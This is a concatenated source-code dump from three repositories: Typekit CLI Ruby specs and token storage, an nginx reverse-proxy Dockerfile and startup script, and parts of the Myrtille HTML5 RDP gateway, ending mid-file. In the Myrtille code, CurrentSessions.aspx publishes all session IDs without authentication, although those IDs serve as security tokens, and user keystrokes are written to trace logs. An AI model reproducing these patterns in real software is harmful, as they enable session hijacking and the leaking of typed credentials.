'2015-07-12T22:04:53Z' }.to_json, status: 200, headers: { content_type: 'application/json' }) subject end it 'sends an HTTP POST for the specified kit' do expect(WebMock).to have_requested(:post, publish_uri) end end context 'unable to publish kit' do before(:each) do stub_request(:post, publish_uri) .to_return(body: error_response.to_json, status: 400, headers: { content_type: 'application/json' }) end it 'exits with a status code of 1' do begin subject rescue SystemExit => e expect(e.status).to eq(1) end end end end describe '#remove_kit' do subject { described_class.new(auth_token).remove_kit(kit_id) } context 'successfully remove kit' do before(:each) do stub_request(:delete, kit_uri) .to_return(body: '{}', status: 200, headers: { content_type: 'application/json' }) subject end it 'sends an HTTP DELETE for the specified kit' do expect(WebMock).to have_requested(:delete, "#{API::API_URI}/kits/abcd123") end end context 'unable to remove kit' do before(:each) do stub_request(:delete, kit_uri) .to_return(body: error_response.to_json, status: 400, headers: { content_type: 'application/json' }) end it 'exits with a status code of 1' do begin subject rescue SystemExit => e expect(e.status).to eq(1) end end end end end end <file_sep>/spec/lib/typekit/cli_spec.rb module Typekit describe CLI do subject { described_class.new } let(:authentication) { double(:authentication) } let(:api) { double(:api) } let(:kit_id) { 'abcd123' } let(:name) { 'test kit 1' } let(:domains) { 'a.com b.com c.com' } before(:each) do allow(Typekit::API).to receive(:new).and_return(api) end describe '#logout' do before(:each) do allow(Formatador).to receive(:display_line) end it 'clears the existing token' do expect(Typekit::Authentication).to receive(:clear_token) subject.logout end end describe '#list' do before(:each) do allow(api).to receive(:get_kits).and_return(kits) end context 'server returns one or more kits' do let(:analytics) { 'false' } let(:parsed_domains) { domains.split("\s").join(',') } let(:kits) do [{ 'name' => name, 'id' => kit_id, 'analytics' => analytics, 'domains' => parsed_domains }] end let(:output) { capture(:stdout) { subject.list } } it 'displays a table of results' do expect(Formatador).to receive(:display_compact_table).with(kits, kits.first.keys) subject.list end it 'displays the returned name' do expect(output).to include(name) end it 'displays the returned id' do expect(output).to include(kit_id) end it 'displays the returned analytics flag' do expect(output).to include(analytics) end it 'displays the returned domain list' do expect(output).to include(parsed_domains) end end context 'server returns no kits' do let(:kits) { [] } let(:output) { capture(:stdout) { subject.list } } it 'displays a message indicating no results' do expect(output).to include('No kits found') end end end describe '#create' do let(:args) { ['create', '--name', name, '--domains', domains.split("\s")] } let(:output) { capture(:stdout) { described_class.start(args) } } let(:response) do { 'kit' => { 'id' => kit_id, 'name' => name, 'analytics' => false, 'domains' => domains.split('\s'), 'families' => [] } } end before(:each) do allow(api).to receive(:create_kit).with(name, domains.split("\s")).and_return(response) end it 'displays a message indicating success' do expect(output).to include('Successfully created kit') end it 'displays the created kit id' do expect(output).to include(kit_id) end end describe '#show' do let(:args) { ['show', '--id', kit_id] } let(:output) { capture(:stdout) { described_class.start(args) } } let(:family1_name) { 'test family 1' } let(:family2_name) { 'test family 2' } let(:family1_id) { 'zxcv1234' } let(:family2_id) { 'mnbv0987' } let(:family1_slug) { 'family1-web' } let(:family2_slug) { 'family2-web' } let(:family1_css) { ['family1-1', 'family1-2'] } let(:family2_css) { ['family2-1', 'family2-2'] } let(:kit) do { 'id' => kit_id, 'name' => name, 'analytics' => false, 'domains' => domains.split("\s"), 'families' => [ { 'id' => family1_id, 'name' => family1_name, 'slug' => family1_slug, 'css_names' => family1_css, 'css_stack' => '\'family1-1\',\'family1-2\',serif', 'subset' => 'default', 'variations' => ['n4', 'i4', 'n7', 'i7'] }, { 'id' => family2_id, 'name' => family2_name, 'slug' => family2_slug, 'css_names' => family2_css, 'css_stack' => '\'family2-1\',\'family2-2\',serif', 'subset' => 'default', 'variations' => ['n4', 'i4', 'n7', 'i7'] } ] } end before(:each) do allow(api).to receive(:get_kit).with(kit_id).and_return(kit) end it 'displays the kit name' do expect(output).to include(name) end it 'displays the kit id' do expect(output).to include(kit_id) end it 'displays the analytics flag' do expect(output).to include('false') end it 'displays the domain list' do expect(output).to include(domains.split("\s").join(',')) end it 'displays the family names' do expect(output).to include(family1_name) expect(output).to include(family2_name) end it 'displays the family ids' do expect(output).to include(family1_id) expect(output).to include(family2_id) end it 'displays the family slugs' do expect(output).to include(family1_slug) expect(output).to include(family2_slug) end it 'displays the family css selectors' do expect(output).to include(family1_css.join(',')) expect(output).to include(family2_css.join(',')) end end describe '#publish' do let(:args) { ['publish', '--id', kit_id] } let(:output) { capture(:stdout) { described_class.start(args) } } before(:each) do allow(api).to receive(:publish_kit).with(kit_id) end it 'displays a message indicating success' do expect(output).to include('Successfully published kit') end it 'displays the published kit id' do expect(output).to include(kit_id) end end describe '#remove' do let(:args) { ['remove', '--id', kit_id] } let(:output) { capture(:stdout) { described_class.start(args) } } before(:each) do allow(api).to receive(:remove_kit).with(kit_id) end it 'displays a message indicating success' do expect(output).to include('Successfully removed kit') end it 'displays the removed kit id' do expect(output).to include(kit_id) end end end end <file_sep>/spec/lib/typekit/authentication_spec.rb module Typekit describe Authentication do subject { described_class } let(:auth_token) { 'abcd<PASSWORD>' } let(:token_writer) { double(:file) } let(:token_path) { subject::TOKEN_FILE } before(:each) do allow(subject).to receive(:token_path).and_return(token_path) end describe '.authenticated?' do context 'true' do before(:each) do allow(subject).to receive(:get_token).and_return(auth_token) end it 'returns true' do expect(subject.authenticated?).to be_truthy end end context 'false' do before(:each) do allow(subject).to receive(:get_token).and_return(nil) end it 'returns false' do expect(subject.authenticated?).to be_falsey end end end describe '.get_token' do context 'token file exists' do before(:each) do allow(token_writer).to receive(:gets).and_return(auth_token) allow(File).to receive(:exist?).and_return(true) allow(File).to receive(:open).with(token_path, 'r').and_return(token_writer) end it 'returns the stored auth token' do expect(subject.get_token).to eq(auth_token) end end context 'token file does not exist' do before(:each) do allow(File).to receive(:exist?).and_return(false) end it 'returns nil' do expect(subject.get_token).to eq(nil) end end end describe '.clear_token' do before(:each) do allow(File).to receive(:exist?).and_return(true) end it 'removes the file' do expect(File).to receive(:unlink).with(token_path) subject.clear_token end end describe '.prompt_for_token' do before(:each) do allow(Formatador).to receive(:display) allow(STDIN).to receive_message_chain(:gets, :chomp).and_return(auth_token) allow(File).to receive(:open).with(token_path, 'w').and_yield(token_writer) end it 'writes the token to the file' do expect(token_writer).to receive(:write).with(auth_token) subject.prompt_for_token end end end end <file_sep>/lib/typekit/authentication.rb module Typekit class Authentication TOKEN_FILE = '.typekit' class << self def authenticated? get_token.to_s.length > 0 end def get_token File.exist?(token_path) ? File.open(token_path, 'r').gets : nil end def token_path File.join(Dir.home, TOKEN_FILE) end def clear_token File.unlink(token_path) if File.exist?(token_path) end def prompt_for_token Formatador.display('[yellow]Please enter your Adobe Typekit API token: [/]') token = STDIN.gets.chomp File.open(token_path, 'w') do |file| file.write(token) end end end end end
6bf775e216f160fc7f7414d11d77b61d8c2049cc
[ "Markdown", "Ruby" ]
10
Ruby
EnterStudios/typekit-cli
7c7b8e2dc0d5ba9abf1f450bc6416c729aca3467
6b3e00511709a1a9a3ddcd4c8d5e66cdc6f3a3bf
refs/heads/master
<repo_name>comugico/nginx-reverseproxy-dockerfile<file_sep>/Dockerfile FROM centos:centos7 RUN yum update -y RUN yum install -y wget tree sudo systemd diffutils patch RUN mkdir /opt/nginx RUN wget "http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm" -O "/opt/nginx/downloaded.rpm" RUN yum localinstall -y /opt/nginx/downloaded.rpm RUN yum install -y nginx ADD reverseproxy.conf /etc/nginx/conf.d/nginx-reverseproxy-dockerfile.conf ADD start.sh /opt/nginx/start.sh EXPOSE 80 WORKDIR /opt/nginx CMD source /opt/nginx/start.sh<file_sep>/start.sh #!/bin/bash sed -i "s/set \$AIPO_PORT_80_TCP_ADDR .*;\$/set \$AIPO_PORT_80_TCP_ADDR $AIPO_PORT_80_TCP_ADDR;/g" /etc/nginx/conf.d/nginx-reverseproxy-dockerfile.conf sed -i "s/set \$AIPO_PORT_80_TCP_PORT .*;\$/set \$AIPO_PORT_80_TCP_PORT $AIPO_PORT_80_TCP_PORT;/g" /etc/nginx/conf.d/nginx-reverseproxy-dockerfile.conf sed -i "s/set \$AIPO2_PORT_80_TCP_ADDR .*;\$/set \$AIPO2_PORT_80_TCP_ADDR $AIPO2_PORT_80_TCP_ADDR;/g" /etc/nginx/conf.d/nginx-reverseproxy-dockerfile.conf sed -i "s/set \$AIPO2_PORT_80_TCP_PORT .*;\$/set \$AIPO2_PORT_80_TCP_PORT $AIPO2_PORT_80_TCP_PORT;/g" /etc/nginx/conf.d/nginx-reverseproxy-dockerfile.conf nginx -g "daemon off;"
bd723b9b5ba62c360be70b30ef825f0172278385
[ "Dockerfile", "Shell" ]
2
Dockerfile
comugico/nginx-reverseproxy-dockerfile
ff6e1ec808389c2a905eb92fabb106775f357c03
73603156bb988fabed02d3286735be960bbfa40b
refs/heads/master
<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /*****************************************************************************************************************************************************************************************************/ /*** Config ***/ /*****************************************************************************************************************************************************************************************************/ function Config( httpServerUrl, // myrtille web server url (rdp gateway) httpSessionId, // web session id, bound to a remote session (rdp) server side, also used as a security token webSocketPort, // standard websocket port; ensure it's opened and not blocked by a third party program (antivirus/firewall/antispam, etc...) webSocketPortSecured, // secured websocket port; ensure it's opened and not blocked by a third party program (antivirus/firewall/antispam, etc...) statEnabled, // displays various stats above the remote session display debugEnabled, // displays debug messages; more traces can be enabled by uncommenting them in js files compatibilityMode) // old HTML4 browsers (no websocket, no canvas) or HTML5 otherwise { // you may change any of the variables below on-the-fly (then F5 to refresh display); proceed with caution!!! // debug var debugConsole = false; // output the debug messages into the browser javascript console (or on screen otherwise) var debugLinesMax = 40; // max number of displayed debug lines (rollover) when the output is on screen var keyboardHelperEnabled = false; // display a yellow tooltip to show the user inputs on-the-fly; useful when the latency is high as the user can see a direct result of its action var keyboardHelperSize = 75; // max number of characters to display into the keyboard helper var keyboardHelperDelay = 3000; // duration (ms) before removing the keyboard helper // display var canvasEnabled = true; // 2d canvas; requires an HTML5 browser (fallback to divs if disabled or not supported) var imageEncoding = 'PNG_JPEG'; // image encoding format; possible values: PNG, JPEG, PNG_JPEG, WEBP (see comments about pros and cons of each format in display.js) var imageQuality = 50; // image quality (%) higher = better; not applicable for PNG (lossless); tweaked dynamically to fit the available bandwidth if using JPEG, PNG_JPEG or WEBP encoding. for best user experience, fullscreen updates are always done in higher quality (75%), regardless of this setting and bandwidth var imageCountOk = 500; // reasonable number of images to display at once; for HTML4 (divs), used to clean the DOM (by requesting a fullscreen update) as too many divs may slow down the browser; not applicable for HTML5 (canvas) var imageCountMax = 1000; // maximal number of images to display at once; for HTML4 (divs), used to clean the DOM (by reloading the page) as too many divs may slow down the browser; not applicable for HTML5 (canvas) var imageBase64Enabled = true; // base64 image data (direct injection into the DOM; fallback to server roundtrip if not supported); pros: avoid server roundtrips to retrieve images; cons: base64 encoding have an overhead of about 33% compared to the images raw size var imageDebugEnabled = false; // display a red border around images, for debug purpose var periodicalFullscreenIntervalDelay = 30000; // periodical fullscreen update (ms); used to refresh the whole display var adaptiveFullscreenTimeoutDelay = 1500; // adaptive fullscreen update (ms); requested after a given period of user inactivity (=no input). 0 to disable // network var additionalLatency = 0; // simulate a network latency which adds to the real latency (useful to test various network situations). 0 to disable var roundtripDurationMax = 5000; // roundtrip duration (ms) above which the connection is considered having issues var bandwidthCheckIntervalDelay = 300000; // periodical bandwidth check; used to tweak down the images quality when the available bandwidth gets too low. it relies on a 5MB dummy file download, so shouldn't be set on a too short timer (or it will eat the bandwidth it's supposed to test...) var webSocketEnabled = true; // websocket; requires an HTML5 browser (fallback to xhr if disabled or not supported) var httpSessionKeepAliveIntervalDelay = 30000; // periodical dummy xhr calls (ms) when using websocket, in order to keep the http session alive var xmlHttpTimeoutDelay = 3000; // xmlhttp requests (xhr) timeout (ms) var longPollingEnabled = true; // long-polling requests (disabled if using websocket); ensure they are not blocked by a third party program (antivirus/firewall/antispam, etc...) var longPollingDuration = 60000; // long-polling requests duration (ms) var bufferEnabled = true; // buffer for user inputs; adjusted dynamically to fit the latency var bufferDelayBase = 0; // minimal buffering duration (ms) var bufferDelayEmpty = 10; // buffering duration (ms) when sending empty buffer var bufferSize = 128; // max number of buffered items (not size in bytes) // user var mouseMoveSamplingRate = 10; // sampling the mouse moves (%) may help to reduce the server load in applications that trigger a lot of updates (i.e.: imaging applications); 0 to disable, possible values: 5, 10, 20, 25, 50 (lower = higher drop rate) /*************************************************************************************************************************************************************************************************/ /*** Properties ***/ /*************************************************************************************************************************************************************************************************/ // about properties, starting from IE9 it's possible to define getters and setters... but these scripts are intended to work from IE6... // so, going old school... // server this.getHttpServerUrl = function() { return httpServerUrl; }; this.getHttpSessionId = function() { return httpSessionId; }; // dialog this.getStatEnabled = function() { return statEnabled; }; this.getDebugEnabled = function() { return debugEnabled; }; this.getDebugConsole = function() { return debugConsole; }; this.getDebugLinesMax = function() { return debugLinesMax; }; this.getKeyboardHelperEnabled = function() { return keyboardHelperEnabled; }; this.getKeyboardHelperSize = function() { return keyboardHelperSize; }; this.getKeyboardHelperDelay = function() { return keyboardHelperDelay; }; // display this.getCompatibilityMode = function() { return compatibilityMode; }; this.getCanvasEnabled = function() { return canvasEnabled; }; this.setCanvasEnabled = function(enabled) { canvasEnabled = enabled; }; this.getImageEncoding = function() { return imageEncoding; }; this.setImageEncoding = function(encoding) { imageEncoding = encoding; }; this.getImageQuality = function() { return imageQuality; }; this.getImageCountOk = function() { return imageCountOk; }; this.getImageCountMax = function() { return imageCountMax; }; this.getImageBase64Enabled = function() { return imageBase64Enabled; }; this.setImageBase64Enabled = function(enabled) { imageBase64Enabled = enabled; }; this.getImageDebugEnabled = function() { return imageDebugEnabled; }; this.getPeriodicalFullscreenIntervalDelay = function() { return periodicalFullscreenIntervalDelay; }; this.getAdaptiveFullscreenTimeoutDelay = function() { return adaptiveFullscreenTimeoutDelay; }; // network this.getAdditionalLatency = function() { return additionalLatency; }; this.getRoundtripDurationMax = function() { return roundtripDurationMax; }; this.getBandwidthCheckIntervalDelay = function() { return bandwidthCheckIntervalDelay; }; // websocket this.getWebSocketEnabled = function() { return webSocketEnabled; }; this.setWebSocketEnabled = function(enabled) { webSocketEnabled = enabled; }; this.getWebSocketPort = function() { return webSocketPort; }; this.getWebSocketPortSecured = function() { return webSocketPortSecured; }; this.getHttpSessionKeepAliveIntervalDelay = function() { return httpSessionKeepAliveIntervalDelay; }; // xmlhttp this.getXmlHttpTimeoutDelay = function() { return xmlHttpTimeoutDelay; }; // long-polling this.getLongPollingEnabled = function() { return longPollingEnabled; }; this.setLongPollingEnabled = function(enabled) { longPollingEnabled = enabled; }; this.getLongPollingDuration = function() { return longPollingDuration; }; // buffer this.getBufferEnabled = function() { return bufferEnabled; }; this.setBufferEnabled = function(enabled) { bufferEnabled = enabled; }; this.getBufferDelayBase = function() { return bufferDelayBase; }; this.getBufferDelayEmpty = function() { return bufferDelayEmpty; }; this.getBufferSize = function() { return bufferSize; }; // mouse this.getMouseMoveSamplingRate = function() { return mouseMoveSamplingRate; }; }<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using System; using System.Diagnostics; using System.ServiceModel; using System.Text; using System.Threading; using System.Web; using System.Web.Caching; using Myrtille.Fleck; using Myrtille.Helpers; using System.Collections.Generic; using System.Linq; namespace Myrtille.Web { public class RemoteSessionManager : IDisposable { public static Dictionary<string, RemoteSessionManager> CurrentSessions { get; } = new Dictionary<string, RemoteSessionManager>(); // note that it doesn't really count the active remote sessions... it's just an auto-increment for the remote session id, ensuring it's unique... // the active remote sessions are registered in CurrentSessions; count can be retrieved from there static int _remoteSessionsCounter = 1; // auto-increment the remote sessions counter public static int NewId { get { return _remoteSessionsCounter++; } } #region Init public RemoteSession RemoteSession { get; private set; } public RemoteSessionManager(RemoteSession remoteSession) { try { RemoteSession = remoteSession; // remote session process client and callback var callback = new RemoteSessionProcessClientCallback(this); var callbackContext = new InstanceContext(callback); Client = new RemoteSessionProcessClient(this, callbackContext); // pipes Pipes = new RemoteSessionPipes(RemoteSession); Pipes.ProcessUpdatesPipeMessage = ProcessUpdatesPipeMessage; // sockets WebSockets = new List<IWebSocketConnection>(); // events ImageEventLock = new object(); // cache _imageCache = (Cache)HttpContext.Current.Application[HttpApplicationStateVariables.Cache.ToString()]; } catch (Exception exc) { Trace.TraceError("Failed to initialize remote session manager, remote session {0} ({1})", RemoteSession.Id, exc); } } #endregion #region Client public RemoteSessionProcessClient Client { get; private set; } #endregion #region Pipes public RemoteSessionPipes Pipes { get; private set; } private void ProcessUpdatesPipeMessage(byte[] msg) { try { var message = Encoding.UTF8.GetString(msg); if (RemoteSession.State != RemoteSessionState.Connected) { // simple handshaking if (message.Equals("Hello server")) { PipeHelper.WritePipeMessage( Pipes.InputsPipe, "remotesession_" + RemoteSession.Id + "_inputs", "Hello client"); // remote session is now connected RemoteSession.State = RemoteSessionState.Connected; } } // remote clipboard else if (message.StartsWith("clipboard|")) { // if using a websocket, send the clipboard directly if (WebSockets.Count > 0) { foreach (var webSocket in WebSockets) { if (webSocket.IsAvailable) { Trace.TraceInformation("Sending clipboard content {0} on websocket, remote session {1}", message, RemoteSession.Id); webSocket.Send(message); } else { Trace.TraceInformation("Websocket is unavailable (connection closed by client?), remote session {0}, status: {1}", RemoteSession.Id, RemoteSession.State); } } } // otherwise store it (will be retrieved later) else { ClipboardText = message.Remove(0, 10); ClipboardRequested = true; } } // new image else { ProcessUpdate(message); } } catch (Exception exc) { Trace.TraceError("Failed to process updates pipe message, remote session {0} ({1})", RemoteSession.Id, exc); } } #endregion #region Sockets public List<IWebSocketConnection> WebSockets { get; set; } #endregion #region Commands public bool SendCommand(RemoteSessionCommand command, string args = "") { if (RemoteSession.State != RemoteSessionState.Connected && RemoteSession.State != RemoteSessionState.Disconnecting) return false; try { Trace.TraceInformation("Sending rdp command {0}, remote session {1}", "C" + (int)command + "-" + args, RemoteSession.Id); if (command == RemoteSessionCommand.SendFullscreenUpdate) { Trace.TraceInformation("Fullscreen update requested, all image(s) will now be discarded while waiting for it, remote session {0}", RemoteSession.Id); _fullscreenPending = true; } PipeHelper.WritePipeMessage( Pipes.InputsPipe, "remotesession_" + RemoteSession.Id + "_inputs", "C" + (int)command + "-" + args + ","); } catch (Exception exc) { Trace.TraceError("Failed to send command {0}, remote session {1} ({2})", command, RemoteSession.Id, exc); return false; } return true; } #endregion #region Inputs public void SendUserEvent(string data) { if (RemoteSession.State != RemoteSessionState.Connected) return; try { var rdpData = string.Empty; var entries = data.Split(new[] { "," }, StringSplitOptions.RemoveEmptyEntries); foreach (var entry in entries) { if (!string.IsNullOrEmpty(entry)) { // keyboard scancode (non character key) if (entry.Substring(0, 1).Equals("K")) { var keyEntry = entry.Remove(0, 1); var keyCodeAndState = keyEntry.Split(new[] { "-" }, StringSplitOptions.None); var jsKeyCode = int.Parse(keyCodeAndState[0]); var keyState = keyCodeAndState[1]; var rdpScanCode = JsKeyCodeToRdpScanCodeMapping.MapTable[jsKeyCode]; if (rdpScanCode != null && (int)rdpScanCode != 0) { rdpData += (string.IsNullOrEmpty(rdpData) ? "K" : ",K") + (int)rdpScanCode + "-" + keyState; } } // keyboard unicode (character key) else if (entry.Substring(0, 1).Equals("U")) { // same format as scancode (key code and state), if parsing is needed rdpData += (string.IsNullOrEmpty(rdpData) ? entry : "," + entry); } // mouse else if (entry.Substring(0, 1).Equals("M")) { rdpData += (string.IsNullOrEmpty(rdpData) ? entry : "," + entry); } } } if (!string.IsNullOrEmpty(rdpData) && rdpData.Length <= Pipes.InputsPipeBufferSize) { Trace.TraceInformation("Forwarding user input(s) {0}, remote session {1}", rdpData, RemoteSession.Id); PipeHelper.WritePipeMessage( Pipes.InputsPipe, "remotesession_" + RemoteSession.Id + "_inputs", rdpData + ","); } } catch (Exception exc) { Trace.TraceError("Failed to send user input {0}, remote session {1} ({2})", data, RemoteSession.Id, exc); } } #endregion #region Updates // new image public void ProcessUpdate(string data) { try { var imgParts = data.Split(new[] { "," }, StringSplitOptions.RemoveEmptyEntries); if (imgParts.Length != 9) throw new Exception("image can't be deserialized"); var image = new RemoteSessionImage { Idx = int.Parse(imgParts[0]), PosX = int.Parse(imgParts[1]), PosY = int.Parse(imgParts[2]), Width = int.Parse(imgParts[3]), Height = int.Parse(imgParts[4]), Format = (ImageFormat)Enum.Parse(typeof(ImageFormat), imgParts[5]), Quality = int.Parse(imgParts[6]), Base64Data = imgParts[7].Replace("\n", ""), Fullscreen = imgParts[8] == "1" }; Trace.TraceInformation("Received image {0} ({1}), remote session {2}", image.Idx, (image.Fullscreen ? "screen" : "region"), RemoteSession.Id); // while a fullscreen update is pending, discard all updates; the fullscreen will replace all of them if (_fullscreenPending) { if (!image.Fullscreen) { Trace.TraceInformation("Discarding image {0} (region) as a fullscreen update is pending, remote session {1}", image.Idx, RemoteSession.Id); return; } else { Trace.TraceInformation("Fullscreen update received, resuming image(s) processing, remote session {0}", RemoteSession.Id); _fullscreenPending = false; } } // if using a websocket, send the image if (WebSockets.Count > 0) { foreach (var webSocket in WebSockets) { if (webSocket.IsAvailable) { Trace.TraceInformation("Sending image {0} ({1}) on websocket, remote session {2}", image.Idx, (image.Fullscreen ? "screen" : "region"), RemoteSession.Id); webSocket.Send( image.Idx + "," + image.PosX + "," + image.PosY + "," + image.Width + "," + image.Height + "," + image.Format.ToString().ToLower() + "," + image.Quality + "," + image.Base64Data + "," + image.Fullscreen.ToString().ToLower()); } else { Trace.TraceInformation("Websocket is unavailable (connection closed by client?), remote session {0}, status: {1}", RemoteSession.Id, RemoteSession.State); } } } // otherwise cache it (will be retrieved later) else { lock (ImageEventLock) { _imageCache.Insert( "remoteSessionImage_" + RemoteSession.Id + "_" + image.Idx, image, null, DateTime.Now.AddMilliseconds(_imageCacheDuration), Cache.NoSlidingExpiration); // last received image index _lastReceivedImageIdx = image.Idx; // if waiting for a new image, signal the reception if (ImageEventPending) { ImageEventPending = false; Monitor.Pulse(ImageEventLock); } } } } catch (Exception exc) { Trace.TraceError("Failed to process update {0}, remote session {1} ({2})", data, RemoteSession.Id, exc); } } // retrieve a cached image public RemoteSessionImage GetCachedUpdate(int imageIdx) { RemoteSessionImage image = null; try { var imageObj = _imageCache["remoteSessionImage_" + RemoteSession.Id + "_" + imageIdx]; if (imageObj != null) { image = (RemoteSessionImage)imageObj; Trace.TraceInformation("Retrieved image {0} ({1}) from cache, remote session {2}", imageIdx, (image.Fullscreen ? "screen" : "region"), RemoteSession.Id); } } catch (Exception exc) { Trace.TraceError("Failed to retrieve image {0} from cache, remote session {1} ({2})", imageIdx, RemoteSession.Id, exc); } return image; } // retrieve the next image public RemoteSessionImage GetNextUpdate(int lastReceivedImageIdx, int waitDuration = 0) { RemoteSessionImage image = null; lock (ImageEventLock) { try { // retrieve the next available image from cache, up to the latest received if (lastReceivedImageIdx < _lastReceivedImageIdx) { for (var idx = lastReceivedImageIdx + 1; idx <= _lastReceivedImageIdx; idx++) { image = GetCachedUpdate(idx); if (image != null) { break; } } } // if no image is available and a wait duration is specified, wait for a new image if (image == null && waitDuration > 0) { Trace.TraceInformation("Waiting for new image, remote session {0}", RemoteSession.Id); ImageEventPending = true; if (Monitor.Wait(ImageEventLock, waitDuration)) { image = GetCachedUpdate(_lastReceivedImageIdx); } ImageEventPending = false; Monitor.Pulse(ImageEventLock); } } catch (Exception exc) { Trace.TraceError("Failed to retrieve next update from index {0}, remote session {1} ({2})", lastReceivedImageIdx, RemoteSession.Id, exc); } } return image; } private ImageEncoding? _imageEncoding = null; public ImageEncoding? ImageEncoding { get { return _imageEncoding; } set { if ((!_imageEncoding.HasValue || _imageEncoding != value) && SendCommand(RemoteSessionCommand.SetImageEncoding, ((int)value).ToString())) { _imageEncoding = value; } } } private int? _imageQuality = null; public int? ImageQuality { get { return _imageQuality; } set { if ((!_imageQuality.HasValue || _imageQuality != value) && SendCommand(RemoteSessionCommand.SetImageQuality, value.ToString())) { _imageQuality = value; } } } #endregion #region Clipboard public string ClipboardText { get; private set; } public bool ClipboardRequested { get; set; } #endregion #region Events // pending fullscreen update private bool _fullscreenPending = false; // image reception (fullscreen and region) public object ImageEventLock { get; private set; } public bool ImageEventPending { get; set; } // last received image private int _lastReceivedImageIdx = 0; #endregion #region Cache // when using polling (long-polling or xhr only), images must be cached for a delayed retrieval; not applicable for websocket (push) private Cache _imageCache; // cache lifetime; that is, represents the maximal lag possible for a client, before having to drop some images in order to catch up with the remote session display (proceed with caution with this value!) private const int _imageCacheDuration = 1000; #endregion #region IDisposable ~RemoteSessionManager() { Dispose(); } public void Dispose() { GC.SuppressFinalize(this); if (Pipes != null) { Pipes.DeletePipes(); } foreach(var webSocket in WebSockets.ToList()) { webSocket.Close(); WebSockets.Remove(webSocket); } } #endregion } }<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /*****************************************************************************************************************************************************************************************************/ /*** Canvas ***/ /*****************************************************************************************************************************************************************************************************/ function Canvas(config, dialog, display) { // canvas object var canvasObject = null; this.getCanvasObject = function() { return canvasObject; }; // canvas context var canvasContext = null; this.getCanvasContext = function() { return canvasContext; }; this.init = function() { try { canvasObject = document.createElement('canvas'); canvasContext = canvasObject == null ? null : canvasObject.getContext; if (canvasContext == null || !canvasContext) { //dialog.showDebug('canvas is not supported, using divs'); canvasObject = null; config.setCanvasEnabled(false); } else { // set canvas properties (same size as browser and a tab index so it can be focused) canvasObject.width = 1200;//display.getBrowserWidth(); canvasObject.height = 600;//display.getBrowserHeight(); canvasObject.setAttribute('tabindex', '0'); display.getDisplayDiv().appendChild(canvasObject); //dialog.showDebug('using canvas, width: ' + canvasObject.width + ', height:' + canvasObject.height); // set canvas context properties canvasContext = canvasObject.getContext('2d'); if (config.getImageDebugEnabled()) { canvasContext.lineWidth = 1; canvasContext.strokeStyle = 'red'; } } } catch (exc) { dialog.showDebug('canvas init error: ' + exc.message); config.setCanvasEnabled(false); } }; this.addImage = function(idx, posX, posY, width, height, format, quality, base64Data, fullscreen) { try { var img = new Image(); img.onload = function() { //dialog.showDebug('canvas image ' + idx + ' loaded'); canvasContext.drawImage(img, parseInt(posX), parseInt(posY), parseInt(width), parseInt(height)); if (config.getImageDebugEnabled()) { canvasContext.strokeRect(parseInt(posX), parseInt(posY), parseInt(width), parseInt(height)); } }; img.onabort = function() { dialog.showDebug('canvas image ' + idx + ' aborted'); }; img.onerror = function() { dialog.showDebug('canvas image ' + idx + ' error'); }; if (!config.getImageBase64Enabled() || base64Data == '') { if (config.getAdditionalLatency() > 0) { window.setTimeout(function () { img.src = config.getHttpServerUrl() + 'GetUpdate.aspx?sessionId=' + config.getHttpSessionId() + '&imgIdx=' + idx + '&noCache=' + new Date().getTime(); }, Math.round(config.getAdditionalLatency() / 2)); } else { img.src = config.getHttpServerUrl() + 'GetUpdate.aspx?sessionId=' + config.getHttpSessionId() + '&imgIdx=' + idx + '&noCache=' + new Date().getTime(); } } else { img.src = 'data:image/' + format + ';base64,' + base64Data; } } catch (exc) { dialog.showDebug('canvas addImage error: ' + exc.Message); throw exc; } }; }<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Web; using System.Web.UI; namespace Myrtille.Web { public partial class CurrentSessions : Page { /// <summary> /// send user input(s) (mouse, keyboard) to the rdp session /// if long-polling is disabled (xhr only), also returns image data within the response /// </summary> /// <param name="sender"></param> /// <param name="e"></param> protected void Page_Load( object sender, EventArgs e) { // write the output HttpContext.Current.Response.Write($"{{\"currentSessions\":{JsonConvert.SerializeObject(RemoteSessionManager.CurrentSessions.Keys)}}}"); } } }<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using System.Xml; using System.Xml.XPath; namespace Myrtille.Helpers { public static class XmlTools { public static XmlNode GetNode( XmlNode parentNode, string name) 